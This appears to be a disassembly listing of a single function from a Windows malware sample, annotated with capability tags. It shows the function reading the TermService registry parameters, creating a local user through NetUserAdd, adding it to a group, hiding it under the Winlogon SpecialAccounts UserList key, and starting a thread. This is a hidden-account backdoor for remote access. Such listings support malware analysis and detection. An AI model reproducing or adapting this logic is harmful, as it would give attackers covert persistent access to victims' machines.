Function at 0x411440
Capabilities:
Add user account
Add user account to group
Create thread
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 0x2c]
call fcn.00414db0
lea ecx, [ebp - 0x2c]
movups xmm0, xmmword [eax]
movups xmmword [edi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [edi + 0x10], xmm0
call fcn.00414dc0
mov ecx, edi
call fcn.00414dd0
mov eax, dword [ebp + 0x10]
lea ecx, [ebp + 8]
mov ebx, dword [ebp + 8]
mov dword [edi + 0x54], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x60], ebx
mov dword [edi + 0x50], eax
call fcn.004183d0
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
lea ecx, [ebp + 0x10]
call fcn.004032c0
lea ecx, [ebp - 0x1c]
call fcn.00402710
push 0
push 0x20119
lea eax, [ebp + 0x10]
push eax
push connect
lea ecx, [ebp + 8]
call fcn.00418440
test eax, eax
jne 0x41150d
lea ecx, [ebp - 0x1c]
call fcn.00402b50
lea ecx, [ebp + 0x10]
call fcn.00403ca0
lea ecx, [ebp + 8]
call fcn.00418650
call fcn.00414300
cmp eax, 6
jb 0x41183f
call fcn.00414380
test eax, eax
jne 0x41183f
lea esi, [edi + 0x58]
call fcn.00413df0
cmp eax, 1
je 0x411691
lea ecx, [edi + 0x5c]
push ecx
push esi
push 1
jmp 0x411849
lea eax, [ebp - 0x1c]
push eax
push str.ServiceDll
lea ecx, [ebp - 8]
call fcn.004032c0
push eax
lea ecx, [ebp + 8]
call fcn.00418530
lea ecx, [ebp - 8]
mov esi, eax
call fcn.00403ca0
test esi, esi
jne 0x411542
lea ecx, [ebp + 8]
call fcn.00418610
jmp 0x4114bd
lea eax, [edi + 0x34]
push eax
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402ae0
mov ecx, eax
call fcn.004034d0
lea ecx, [ebp - 0xc]
mov esi, eax
call fcn.00403ca0
lea ecx, [ebp - 0x1c]
call fcn.00402b50
lea ecx, [ebp + 0x10]
call fcn.00403ca0
lea ecx, [ebp + 8]
call fcn.00418650
test esi, esi
je 0x4114d5
push str.rudp
lea ecx, [ebp + 0x10]
call fcn.004032c0
mov ecx, dword [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push eax
call fcn.00418cf0
push eax
lea ecx, [edi + 0x58]
call fcn.00403b40
lea ecx, [ebp + 8]
call fcn.00403ca0
lea ecx, [ebp + 0x10]
call fcn.00403ca0
push str.rpdp
lea ecx, [ebp + 0x10]
lea esi, [edi + 0x5c]
call fcn.004032c0
mov ecx, dword [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push eax
call fcn.00418cf0
push eax
mov ecx, esi
call fcn.00403b40
lea ecx, [ebp + 8]
call fcn.00403ca0
lea ecx, [ebp + 0x10]
call fcn.00403ca0
lea ecx, [edi + 0x58]
call fcn.00403390
test eax, eax
jne 0x41165d
mov ecx, esi
call fcn.00403390
test eax, eax
jne 0x41165d
push 0x41f3d8
lea ecx, [ebp + 8]
call fcn.004032c0
push eax
push 0x41f3d8
lea ecx, [ebp + 0xc]
call fcn.004032c0
push eax
push 8
lea ecx, [ebp - 0x24]
call fcn.00406020
push eax
mov ecx, ebx
call fcn.00406350
lea ecx, [ebp - 0x24]
call fcn.00406050
lea ecx, [ebp + 0xc]
call fcn.00403ca0
lea ecx, [ebp + 8]
call fcn.00403ca0
mov ecx, edi
call fcn.00414de0
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
lea eax, [edi + 0x58]
push eax
push 8
lea ecx, [ebp - 0x24]
call fcn.00406020
push eax
mov ecx, ebx
call fcn.00406350
lea ecx, [ebp - 0x24]
call fcn.00406050
mov ecx, edi
call fcn.00414de0
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea eax, [ebp + 8]
push 8
push eax
call fcn.004036b0
add esp, 8
mov ecx, esi
push eax
call fcn.00403b40
lea ecx, [ebp + 8]
call fcn.00403ca0
lea eax, [ebp + 8]
push 8
push eax
call fcn.004036b0
add esp, 8
lea ecx, [edi + 0x5c]
push eax
call fcn.00403b40
lea ecx, [ebp + 8]
call fcn.00403ca0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push 4
push 0
mov ecx, esi
call fcn.00403320
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x20
lea eax, [ebp - 0x34]
push 0
push eax
call fcn.00407f10
push 4
lea eax, [ebp + 8]
push 0
push eax
call fcn.00407f10
add esp, 0x18
mov ecx, esi
call fcn.00403320
lea ecx, [edi + 0x5c]
mov dword [ebp - 0x34], eax
call fcn.00403320
push 0
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x34]
push eax
push 1
push 0
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0x10201
mov dword [ebp - 0x18], 0
call sub.NETAPI32.dll_NetUserAdd
test eax, eax
jne 0x411836
mov ecx, esi
call fcn.00403320
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push 1
push eax
lea eax, [ebp + 0x10]
push 3
push eax
call fcn.00413f80
add esp, 4
mov ecx, eax
call fcn.00403320
push eax
push 0
call sub.NETAPI32.dll_NetLocalGroupAddMembers
lea ecx, [ebp + 0x10]
mov esi, eax
call fcn.00403ca0
test esi, esi
jne 0x411833
lea eax, [edi + 0x58]
push eax
push str.rudp
lea ecx, [ebp + 8]
call fcn.004032c0
mov ebx, dword [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.00418d80
lea ecx, [ebp + 8]
call fcn.00403ca0
lea eax, [edi + 0x5c]
push eax
push str.rpdp
lea ecx, [ebp + 0xc]
call fcn.004032c0
push eax
mov ecx, ebx
call fcn.00418d80
lea ecx, [ebp + 0xc]
call fcn.00403ca0
lea eax, [edi + 0x1c]
push eax
push esi
push edi
push 0x411a00
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, edi
mov dword [edi + 0x18], eax
call fcn.00414de0
pop edi
lea eax, [esi + 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea esi, [edi + 0x58]
lea eax, [edi + 0x5c]
push eax
push esi
push 9
jmp 0x411849
lea eax, [edi + 0x5c]
push eax
lea eax, [edi + 0x58]
push eax
push 2
lea ecx, [ebp - 0x24]
call fcn.00406020
push eax
mov ecx, ebx
call fcn.00406350
lea ecx, [ebp - 0x24]
call fcn.00406050
mov ecx, edi
call fcn.00414de0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0xc